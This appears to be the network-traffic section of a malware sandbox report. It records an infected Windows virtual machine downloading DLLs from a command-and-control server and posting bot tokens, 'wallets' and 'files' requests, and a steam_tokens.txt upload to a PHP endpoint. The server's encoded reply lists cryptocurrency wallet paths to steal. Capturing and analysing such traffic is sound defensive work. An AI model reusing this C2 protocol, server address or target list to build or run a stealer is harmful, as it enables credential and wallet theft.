68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 04:34:44.232592106 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:44.518754005 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 04:34:45.309459925 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:45.595573902 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 04:34:47.428725004 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:47.714823008 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 04:34:47.907090902 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 04:34:48.192996979 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 04:34:48.734981060 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGH Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 04:34:49.524868011 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:49.606201887 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="message"wallets------HIIIDAKKJJJKKECAKKJE--
Oct 30, 2024 04:34:49.894582987 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 04:34:49.903503895 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="message"files------HIDBFCBGDBKKECBFCGIE--
Oct 30, 2024 04:34:50.192255974 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:50.213351011 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJECGHJDBFIJJJKEHCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file"------KJJECGHJDBFIJJJKEHCB--
Oct 30, 2024 04:34:50.998384953 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:51.039560080 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="message"ybncbhylepme------KKEHDBAEGIIIEBGCAAFH--
Oct 30, 2024 04:34:51.328071117 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 04:34:51.329317093 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CFCFHJDBKJKEBFHJEHII--
Oct 30, 2024 04:34:52.116466999 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4f 41 69 51 4b 39 32 57 44 45 75 71 79 54 72 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 32 33 33 30 34 62 39 37 36 62 34 33 63 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: OAiQK92WDEuqyTrg.1Context: 6a23304b976b43ce
2024-10-30 03:34:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 03:34:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4f 41 69 51 4b 39 32 57 44 45 75 71 79 54 72 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 32 33 33 30 34 62 39 37 36 62 34 33 63 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 55 62 56 43 54 75 48 74 7a 50 57 53 33 77 65 55 66 4b 65 43 50 74 69 52 42 6b 53 32 71 4c 63 4f 57 6e 34 31 75 77 78 61 7a 67 56 58 41 64 58 6d 6c 53 46 78 71 50 33 6d 6c 31 67 50 67 78 37 30 70 73 30 31 4f 6a 38 6c 55 76 67 4a 46 7a 67 51 70 39 53 53 6f 59 69 4b 72 67 48 48 31 7a 44 72 77 45 68 74 44 4d 44 2b 73 64 2b 58 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: OAiQK92WDEuqyTrg.2Context: 6a23304b976b43ce<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWUbVCTuHtzPWS3weUfKeCPtiRBkS2qLcOWn41uwxazgVXAdXmlSFxqP3ml1gPgx70ps01Oj8lUvgJFzgQp9SSoYiKrgHH1zDrwEhtDMD+sd+X
2024-10-30 03:34:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4f 41 69 51 4b 39 32 57 44 45 75 71 79 54 72 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 32 33 33 30 34 62 39 37 36 62 34 33 63 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: OAiQK92WDEuqyTrg.3Context: 6a23304b976b43ce<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 03:34:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
